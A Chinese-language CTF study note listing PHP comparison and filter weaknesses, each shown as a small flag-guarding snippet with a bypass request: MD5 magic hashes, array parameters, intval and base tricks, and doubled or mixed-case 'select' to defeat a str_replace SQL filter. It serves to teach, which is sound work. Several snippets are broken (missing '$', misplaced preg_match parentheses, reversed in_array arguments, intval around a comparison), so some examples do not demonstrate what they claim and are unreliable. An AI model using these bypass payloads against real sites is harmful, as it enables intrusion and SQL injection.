【笔记】CTF中的PHP相关考题思路

前言

CTF中的PHP相关考题思路

判定是否相等

1
2
3
4
5
6
7
flag = 'xxx';

if ($_GET['username'] != $_GET['password']) {
if (MD5($_GET['username']) == MD5($_GET['password'])) {
echo $flag;
}
}
  • 利用某组数据的MD5值前缀相同来绕过==
request
1
GET http://example.com/?username=QNKCDZO&password=240610708

判定是否全等

1
2
3
4
5
6
7
flag = 'xxx';

if ($_GET['username'] != $_GET['password']) {
if (MD5($_GET['username']) === MD5($_GET['password'])) {
echo $flag;
}
}
  • 利用数组的MD5值为空的特性绕过===
request
1
GET http://example.com/?username[]=1&password[]=2

intval

  • 将任意内容转换为十进制数
1
2
3
4
5
6
7
8
flag = 'xxx';
username = 1;

if ($username != $_GET['username']) {
if (intval($username == $_GET['username'])) {
echo $flag;
}
}
  • 构造出与原数字不全等但是相等的数字
request
1
GET http://example.com/?username=1.0
request
1
GET http://example.com/?username=+1

允许进制转换的intval

  • 将任意内容转换为十进制数,并且可以传递非十进制数
1
2
3
4
5
6
7
8
flag = 'xxx';
username = 1;

if ($username != $_GET['username']) {
if (intval($username == $_GET['username'], 0)) {
echo $flag;
}
}
  • 通过传递其他进制数来实现构造出与原数字不全等但是相等的数字
request
1
GET http://example.com/?username=001
request
1
GET http://example.com/?username=0x01

strpos

  • 获取第一次出现字串的下标

'0':从下标为0的位置开始查找

1
2
3
4
5
6
7
8
flag = 'xxx';
username = 1;

if ($username != $_GET['username']) {
if (strpos($username, $_GET['username'], '0')) {
echo $flag;
}
}
  • 通过换行符构造出与原数据不全等但是相等的数据
request
1
GET http://example.com/?username=%0a1

in_array

  • 判断数组中是否出现了子元素

false:不判断类型

1
2
3
4
5
6
7
8
9
flag = 'xxx';
username = 1;
arr = array($username);

if ($username != $_GET['username']) {
if (in_array($arr, $_GET['username'], false)) {
echo $flag;
}
}
  • 构造出与原数字不全等但是相等的数字
request
1
GET http://example.com/?username=1e

preg_match

  • 匹配正则表达式
1
2
3
4
5
6
7
8
flag = 'xxx';
username = 1;

if (preg_match("/[^0-9]/"), $_GET['username']) {
if (intval($_GET['username'])) {
echo $flag;
}
}
  • 利用preg_match()函数不匹配数组的特性绕过
request
1
GET http://example.com/?username[]=1

str_replace

  • 替换字符串中的字串
1
2
3
4
flag = 'xxx';

username = str_replace('select', '', $_GET['username'])
$sql = "SELECT * FROM user WHERE username = $username"
  • 利用str_replace()无法迭代的特性,构造双写字符串绕过
request
1
GET http://example.com/?username=sselectelect
  • 利用str_replace()区分大小写的特性,以及SQL中不区分大小写的特性,构造大小写混用字符串绕过
request
1
GET http://example.com/?username=sElEcT

完成

参考文献

哔哩哔哩——逆风微笑的代码狗